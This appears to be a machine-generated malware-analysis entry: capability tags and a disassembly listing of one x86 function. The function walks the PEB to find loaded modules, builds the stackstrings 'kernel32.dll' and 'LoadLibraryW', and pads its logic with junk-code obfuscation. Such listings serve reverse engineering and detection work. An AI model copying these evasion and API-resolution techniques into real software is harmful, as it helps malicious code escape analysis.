Function at 0x5a657f
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
call 0x5a62af
add byte [edx + 0x3a], al
inc edi
cmp eax, dword [ecx + 0x45]
dec esi
cmp eax, 0xc4834942
add al, 0x81
loope 0x5a62f7
rol dword [eax], 1
add byte [ecx + 0x56], bl
and esi, 0x2b0a
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edi
push edi
add esp, 4
xor edi, 0x15a73
xor edi, 0x8b2e
add byte [eax], al
pop edi
push esi
xor esi, 0x46ce
xor esi, 0x5d9b
pop esi
push ebx
push ecx
add esp, 4
add ebx, 0x15976
sub ebx, 0x6937
pop ebx
cmp dword [ebp - 0x150c], 0
jne 0x5a6332
mov dword [ebp - 0x2a8], 0
jmp 0x5a65d9
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
push esi
add esp, 4
sub eax, 0xd521
xor eax, 0x7323
and eax, 0x73d3
call 0x5a636b
add byte [0x4a424e3c], bh
dec esp
inc ebp
inc ecx
inc ebp
xor eax, 0x5804c483
push ecx
jmp 0x5a6375
pop ecx
cmp dword [ebp - 0xc4c], 0
jne 0x5a638e
mov dword [ebp - 0x2a8], 0
jmp 0x5a65d9
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ecx
push ecx
add esp, 4
or ecx, 0xc0db
pop ecx
push esi
push ebx
add esp, 4
xor esi, 0x7b2d
pop esi
push edx
add edx, 0xe6ce
xor edx, 0x18309
xor edx, 0x17568
and edx, 0x6c35
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
call 0x5a6405
add byte [eax + 0x4d], al
dec edx
inc ebx
cmp al, byte [esi + 0x4f]
inc edx
add esp, 4
xor edi, 0x1555d
call 0x5a641e
add byte [eax], bh
cmp dword [ebp + 0x44], eax
inc eax
cmp eax, dword [eax + 0x47]
push eax
inc edi
add esp, 4
sub edi, 0x12ebb
pop edi
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push ebx
push eax
add esp, 4
add ebx, 0x2d32
and ebx, 0x40a6
add ebx, 0x158c6
pop ebx
push ebx
xor ebx, 0x1243f
jmp 0x5a64a4
jmp 0x5a64aa
or ebx, 0x15604
pop ebx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x5a64ce
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x5a6528
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x5a63f6
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x5a63f6
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x5a6512
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x5a651c
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x5a6571
push eax
add eax, 0xfaf8
xor eax, 0xcc5f
pop eax
push edx
and edx, 0x34a3
call 0x5a6553
add byte [edi + edi], dh
cmp eax, 0x3a4b493e
add esp, 4
xor edx, 0x8f28
or edx, 0x17a18
pop edx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x5a65d9
push edi
call 0x5a657f
add byte [ebx + ecx*2], dh
inc eax
cmp al, 0x40
inc esi
cmp al, 0x83
les eax, [ecx + eax*4]
iretd
push eax
and eax, 0x179d2
pop eax
push eax
push ebx
add esp, 4
xor eax, 0xd441
jmp 0x5a65f2
xor eax, 0x94b3
pop eax
push ebx
push ebx
add esp, 4
or ebx, 0xbae4
add ebx, 0xc0dc
pop ebx
cmp dword [ebp - 0x2a8], 0
jne 0x5a6f10
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
add ecx, 0x10c75
sub ecx, 0x508c
pop ecx
push ebx
push eax
add esp, 4
sub ebx, 0x2337
and ebx, 0xcca4
or ebx, 0xe1c7
pop ebx
push edx
push edx
add esp, 4
add edx, 0x9051
pop edx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
out 0xff, eax
dec dword [ebx - 0x18d76b]
dec dword [ebx - 0x7a76cfbe]
and al, 0xe7
invalid
dec dword [ebx - 0x18db73]
dec dword [ecx - 0x151773]
call dword [edi - 0x7f]
out 0xb7, eax
loope 0x5a676c
add al, ch
or dword [eax], eax
add byte [eax], al
add byte [eax + edx*2], dh
cmp dword [ebp + 0x4e], ecx
inc esp
cmp ecx, dword [esi - 0x7d]
les eax, [edi + ebx*2]
push ebx
push ecx
add esp, 4
call 0x5a6794
add byte [ecx], bh
dec esp
inc ebp
inc esi
cmp cl, byte [esi + 0x42]
xor eax, 0x4c48341
pop ebx
cmp dword [ebp - 0x1518], 0
jne 0x5a67b0
mov dword [ebp - 0x710], 0
jmp 0x5a6a57
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push esi
xor esi, 0x62a8
and esi, 0xe72
or esi, 0x5e32
call 0x5a67e2
add byte [ebp + eax*2 + 0x45], cl
dec esi
push eax
dec esi
cmp byte [ebx + 0x505e04c4], al
and eax, 0x106b4
xor eax, 0x8f15
pop eax
cmp dword [ebp - 0xc58], 0
jne 0x5a680c
mov dword [ebp - 0x710], 0
jmp 0x5a6a57
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edi
and edi, 0x4dc8
or edi, 0x10f94
pop edi
push eax
push ebx
add esp, 4
or eax, 0x14b88
jmp 0x5a6837
xor eax, 0x9d67
pop eax
push eax
push ecx
add esp, 4
xor eax, 0x17f42
pop eax
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
xor edx, 0x96e6
and edx, 0x7467
sub edx, 0x4e09
pop edx
push ecx
push edi
add esp, 4
add ecx, 0x6ab
sub ecx, 0x1ba5
sub ecx, 0xa858
and ecx, 0x16893
pop ecx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
inc dword [ebx - 0x6a76fd3e]
lodsb al, byte [esi]
invalid